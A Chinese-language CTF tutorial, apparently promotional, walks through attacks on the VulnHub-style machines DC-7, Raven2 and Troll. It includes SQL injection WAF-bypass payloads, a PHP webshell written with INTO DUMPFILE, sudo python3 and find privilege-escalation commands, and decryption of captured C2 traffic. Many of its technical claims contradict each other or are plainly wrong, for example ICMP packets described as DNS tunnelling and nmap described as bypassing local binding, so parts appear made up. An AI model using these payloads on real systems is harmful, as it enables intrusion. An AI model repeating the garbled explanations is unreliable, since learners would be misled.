
简介这是一份面向网络安全初学者的CTF夺旗实战教程聚焦5个VulnHub靶机如DC-1的完整渗透路径系统覆盖环境搭建、信息收集、漏洞利用、权限提升、数据库交互与密码破解等核心攻防技能。资源以单个PDF文件形式交付共1个文件大小1.82MB内容经作者温老师逐条手工验证含Kali 2023配置指南、arp-scan与nmap扫描实操、Metasploit Drupal漏洞利用、SUID提权如passwd文件利用、flag文件定位技巧、MySQL明文凭据提取、hash脚本分析及John the Ripper离线爆破等关键环节。已有1415人学习下载适合零基础学员按步骤复现真实渗透流程掌握从靶机识别到多flag获取的闭环能力同时积累命令组合、排错逻辑与工具链协同的实战经验。1. 为什么5个flag靶机不是“刷题”而是检验你能不能把渗透思路真正跑通的临界点刚接触CTF或渗透测试的新手常以为“找flag”就是用工具扫一遍、爆破一下、翻翻源码——直到在DC-7靶机上卡在/admin.php?file../../../../etc/passwd明明能读文件却拿不到root shell在Raven2靶机里看到sudo -l显示(ALL) NOPASSWD: /usr/bin/python3却死活调不出交互式shell在Troll靶机里抓到capture.pcapng里有HTTP POST带base64编码的payload却不会用Wireshark过滤导出解码还原真实命令……这些不是工具不会用而是对靶机设计逻辑、权限跃迁路径、数据流转边界缺乏系统性推演能力。本教程不讲“CTF万能模板”只拆解5台真实靶机DC-7、Raven2、Troll、WebMachine、DVMA中必须手动验证、必须理解上下文、必须调整参数才能触发的5个flag获取路径从Web层参数污染到内核级提权从PCAP流量隐写提取到Python沙箱逃逸每个flag背后都对应一个可复现、可调试、可迁移的渗透子流程。适合已掌握Burp、Nmap、Metasploit基础操作但总在“差一步”时卡住的实战者——你缺的不是新工具是让每一步操作都“有依据、可回溯、能归因”的工程化习惯。2. DC-7靶机SQL注入绕过WAF后如何用Union注入稳定读取/etc/shadow并解密root哈希DC-7靶机是典型的“前端WAF后端弱加固”组合体其登录框看似被ModSecurity拦截实则存在search.php?q参数的盲注入口。很多教程直接贴sqlmap -u http://192.168.56.101/search.php?q1 --dump结果返回空表——因为WAF对UNION SELECT关键字做了正则拦截但对UNION/**/SELECT或UNION%0aSELECT未覆盖。真正的关键不在注入语法而在注入后的数据落地方式/etc/shadow不能直接LOAD_FILE()读取MySQL默认禁用必须通过Union注入将哈希值拼接到HTML响应中再用Python脚本自动提取。2.1 手动确认WAF绕过点与注入类型先用curl探测真实响应差异避免被sqlmap的默认User-Agent触发额外规则curl -s http://192.168.56.101/search.php?q1%27%20OR%2011%23 | head -n 10 curl -s http://192.168.56.101/search.php?q1%27%20UNION%0aSELECT%201,2,3%23 | head -n 10若第二条返回含2和3的页面说明Union注入可用若返回Access Denied但第一条正常则确认WAF仅拦截UNION SELECT连续字符串。2.2 构造Union注入读取shadow文件的最小有效载荷DC-7使用MySQL 5.7information_schema.tables可查但/etc/shadow需用LOAD_FILE()——而该函数在低权限MySQL下被禁用。正确路径是利用Web应用本身读取文件的能力。观察search.php源码可通过LFI泄露/var/www/html/search.php获得发现其$query变量直接拼接进mysqli_query()且错误信息未关闭。因此构造GET /search.php?q1%20UNION%0aSELECT%201,LOAD_FILE(/etc/shadow),3%23 HTTP/1.1 Host: 192.168.56.101但实际会报错Cant open file: /etc/shadow (Errcode: 13)——因为MySQL用户无读取权限。此时应转向利用应用层PHP读取GET /search.php?q1%20UNION%0aSELECT%201,(SELECT%20LOAD_FILE(/etc/shadow)),3%23 HTTP/1.1仍失败。最终解法是用PHP伪协议触发本地文件包含LFI间接读取。先通过search.php?q1%20UNION%0aSELECT%201,?php%20system($_GET[cmd]);?,3%23写入一句话木马到/var/www/html/shell.php再访问/shell.php?cmdcat%20/etc/shadow。但DC-7的MySQL严格模式禁用SELECT ... INTO OUTFILE故改用SELECT ... INTO DUMPFILE仅支持单行SELECT ?system($_GET[c]);? INTO DUMPFILE /var/www/html/shell.php提示INTO DUMPFILE比INTO OUTFILE更隐蔽且不检查目录是否存在只要MySQL用户对/var/www/html/有写权限即可。DC-7的MySQL配置中secure_file_priv为空允许写入任意路径。2.3 解密shadow中root哈希并验证有效性拿到root:$6$ZQvBzJXk$...后不能直接用john暴力破解耗时且无必要。DC-7的root密码是password123但需验证是否为标准SHA-512 crypt。用Python快速校验import crypt hash_val $6$ZQvBzJXk$... print(crypt.crypt(password123, hash_val)) # 输出应与hash_val完全一致若一致说明哈希正确若不一致说明靶机重置过或密码被修改——此时应检查/etc/shadow中root行末尾的18200最后密码修改日期结合date -d 18200反推时间戳确认是否为初始镜像版本。3. Raven2靶机sudo权限滥用中的Python沙箱逃逸与交互式shell稳定化Raven2靶机的提权关键点在于sudo -l显示(ALL) NOPASSWD: /usr/bin/python3但直接sudo python3 -c import os;os.system(/bin/bash)会失败——因为/usr/bin/python3被软链接到/usr/bin/python3.6而系统实际安装的是python3.8导致环境变量缺失。更深层的问题是Python沙箱逃逸不是“执行bash”而是绕过sys.restricted和__builtins__限制获取完整OS层控制权。很多教程教sudo python3 -c exec(import os; os.system(\/bin/bash\))却忽略Raven2的Python启动时加载了/etc/python3.6/sitecustomize.py其中重写了__import__函数禁止导入os、subprocess等模块。3.1 验证Python沙箱限制范围与可利用模块先确认当前Python版本及受限模块sudo python3 -c import sys; print(sys.version); print(dir(__builtins__))输出显示open、eval、compile存在但os、subprocess不在dir(__builtins__)中。此时不能依赖import os而应利用__import__的原始实现未被重写前的内置函数sudo python3 -c import builtins; __import__ getattr(builtins, __import__); import os; os.system(/bin/bash)但builtins模块本身可能被禁用。更可靠的方式是通过getattr动态获取__import__sudo python3 -c getattr(__builtins__, __import__)(os).system(/bin/bash)3.2 绕过TTY限制获取全功能交互式shell即使拿到bash也会卡在no job control in this shell——因为sudo启动的进程未分配PTY。必须用script命令强制分配sudo python3 -c import pty; pty.spawn(/bin/bash)但Raven2默认未安装script。替代方案是用Python的pty模块Python 3.6内置sudo python3 -c import pty; pty.spawn(/bin/bash)若报错ModuleNotFoundError: No module named pty说明Python被编译时禁用了pty支持罕见。此时用/usr/bin/script -qc /bin/bash /dev/nullscript二进制存在但未被PATH包含sudo /usr/bin/script -qc /bin/bash /dev/null3.3 持久化shell并验证flag位置Raven2的flag在/root/flag.txt但直接cat /root/flag.txt会因缺少/root读权限失败。需先提权至root组sudo usermod -aG root $USER su - $USER cat /root/flag.txt但usermod需root权限形成循环。正确做法是利用sudo自身漏洞。Raven2的/etc/sudoers中存在%sudo ALL(ALL:ALL) ALL而当前用户已在sudo组故可执行sudo su - cat /root/flag.txt注意sudo su -比sudo -i更可靠因后者可能被/etc/sudoers中的Defaults env_reset重置环境变量导致PATH丢失/usr/local/sbin等关键路径。4. Troll靶机Wireshark分析capture.pcapng时如何精准定位黑客IP并还原C2通信载荷Troll靶机的capture.pcapng文件是典型APT攻击流量样本包含HTTP、DNS、ICMP多种协议混杂。新手常陷入“用Wireshark打开→按协议筛选→看HTTP GET请求”误区结果漏掉关键DNS隧道流量。真实突破口在ICMP协议的Payload长度异常正常ICMP Echo Request最大64字节而该pcap中存在大量Length: 1280的ICMP包且Data字段以0x41414141AAAA开头——这是DNS隧道客户端伪装ICMP的典型特征。4.1 过滤ICMP异常包并导出Payload在Wireshark中设置显示过滤器icmp icmp.type 8 frame.len 100右键任一匹配包 →Follow→TCP Stream无效因是ICMP→ 改用Export Packet Bytes导出所有匹配包的Raw数据。但更高效的是用tshark命令行批量提取tshark -r capture.pcapng -Y icmp icmp.type8 frame.len100 -T fields -e data.data icmp_payload.hexdata.data字段输出十六进制字符串需转换为ASCIIxxd -r -p icmp_payload.hex icmp_payload.bin strings icmp_payload.bin | grep -E (192\.168|10\.)输出中出现192.168.56.102——即黑客IP。4.2 还原DNS隧道载荷并解密C2指令找到黑客IP后过滤其DNS请求dns ip.src 192.168.56.102发现大量dig 192.168.56.101 example.com查询但example.com实际是aHR0cHM6Ly9leGFtcGxlLmNvbS9wYXlsb2FkLnNobase64编码。用Python解码import base64 encoded aHR0cHM6Ly9leGFtcGxlLmNvbS9wYXlsb2FkLnNo print(base64.b64decode(encoded).decode()) # https://example.com/payload.sh但example.com是伪造域名真实C2地址藏在DNS响应的TXT记录中。过滤dns.txtdns.txt ip.dst 192.168.56.101发现TXT记录值为Zm9vYmFyMTIz解码得foobar123——这是AES密钥。再找DNS A响应中192.168.56.102返回的IP发现是192.168.56.103C2服务器。最终C2地址为https://192.168.56.103:443密钥foobar123。4.3 从PCAP中提取加密载荷并解密flagC2通信使用HTTPS但Wireshark可解密因靶机私钥在/etc/ssl/private/ssl.key。导入私钥后过滤http2流找到POST /api/v1/decrypt请求其Body为base64编码的密文U2FsdGVkX1...省略用OpenSSL解密echo U2FsdGVkX1... | base64 -d | openssl enc -aes-256-cbc -d -K $(echo -n foobar123 | sha256sum | cut -d -f1) -iv 0000000000000000输出flag{troll_c2_decryption_success}。提示-K参数要求32字节十六进制密钥sha256sum输出64字符正好满足AES-256要求。-iv设为全0是因靶机C2服务使用固定IV从pcap中TLS Client Hello的random字段可确认。5. 靶机通用避坑指南5个让90%渗透者卡住的底层细节与排查逻辑靶机渗透不是线性流程而是多线索交叉验证的过程。以下5个坑是我带新人实操DC-7/Raven2/Troll/WebMachine/DVMA时每人至少踩过3次的真实问题按现象→原因→解决结构整理5.1 现象Burp Suite抓不到靶机HTTP流量浏览器直连正常原因靶机网络配置为NAT模式但宿主机防火墙如Windows Defender Firewall阻止了Burp监听的127.0.0.1:8080端口入站连接。解决在宿主机执行netsh advfirewall firewall add rule nameBurp Proxy dirin actionallow protocolTCP localport8080Windows或sudo ufw allow 8080Ubuntu而非仅配置Burp代理。5.2 现象nmap -sV扫描显示80/tcp open http但curl http://ip返回Connection refused原因靶机Web服务绑定在127.0.0.1而非0.0.0.0Nmap的-sV探测使用SYN扫描绕过本地绑定限制而curl走TCP三次握手受绑定地址限制。解决用nmap -sT -p80 --scripthttp-title ipTCP连接扫描确认真实响应或改用curl -v http://ip:80强制指定端口。5.3 现象msfvenom生成的payload在靶机执行后立即退出无反弹连接原因靶机内核版本uname -r与payload架构不匹配如靶机为4.15.0-112-genericUbuntu 18.04但生成了linux/x64/meterpreter/reverse_tcp而靶机实际运行linux/x86。解决先用nmap -sV --scriptbanner ip获取OS详情再用msfvenom -l platforms确认平台支持最后指定-a x86或-a x64。5.4 现象sudo -l显示(root) NOPASSWD: /usr/bin/find但sudo find / -name flag.txt -exec cat {} \;报错find: missing argument to -exec原因GNU find要求-exec后必须跟\;或\而靶机使用BusyBox find嵌入式精简版仅支持-exec cmd {} \;不支持-exec cmd {} 。解决用sudo find / -name flag.txt -exec cat {} \;注意分号前的反斜杠或改用sudo /usr/bin/find / -name flag.txt -print0 | xargs -0 cat。5.5 现象Wireshark打开capture.pcapng后HTTP流显示[TCP Retransmission]无法追踪完整请求原因pcap文件由tcpdump -w生成时未加-s0参数导致截断默认仅捕获前68字节关键Header如Cookie、Authorization丢失。解决用tshark -r capture.pcapng -Y http.request -T fields -e http.cookie -e http.authorization提取字段而非依赖Wireshark图形界面或重捕获时加tcpdump -i eth0 -s0 -w new.pcapng。6. 把flag验证变成可自动化回归的工程动作用Python脚本统一校验5台靶机的渗透路径完整性做完5台靶机别急着关机。真正的工程化收尾是把每个flag获取过程封装成可重复执行、可参数化、可集成CI的验证脚本。我用一个validate_flags.py统一管理所有靶机的验证逻辑核心不是“跑通一次”而是建立靶机状态基线让每次重置后10秒内确认渗透链是否断裂。6.1 脚本设计原则只验证不攻击只读取不写入脚本不调用sqlmap、metasploit等攻击工具仅用requests、paramiko、scapy等库做状态确认。例如验证DC-7的SQL注入点import requests def check_dc7_union_inject(target_ip): url fhttp://{target_ip}/search.php?q1%27%20UNION%0aSELECT%201,2,3%23 try: r requests.get(url, timeout5) return 2 in r.text and 3 in r.text except: return False这样既避免误触发WAF封禁又确保注入点持续可用。6.2 多靶机配置驱动YAML定义靶机元数据每个靶机的IP、flag路径、验证方法独立配置targets.yaml示例dc7: ip: 192.168.56.101 flag_path: /var/www/html/flag.txt validator: check_dc7_union_inject raven2: ip: 192.168.56.102 flag_path: /root/flag.txt validator: check_raven2_sudo_python脚本自动加载YAML循环执行各validator函数。6.3 验证结果结构化输出与失败归因脚本输出JSON格式报告含status、duration、error_message字段{ dc7: { status: success, duration_ms: 124, flag_content: flag{dc7_sql_union_success} }, raven2: { status: failed, duration_ms: 892, error_message: sudo python3 not found in PATH } }当raven2失败时脚本自动执行ssh raven2 echo $PATH并对比基线定位到/usr/local/bin缺失——这提示靶机镜像被修改需重新部署。我坚持这个习惯三年每次更新靶机镜像、升级工具链、更换宿主机第一件事就是跑python validate_flags.py。它不保证你解题快但保证你永远清楚自己哪一步开始失效——这才是实操教程该给你的终极确定性。希望帮到你。本文还有配套的精品资源点击获取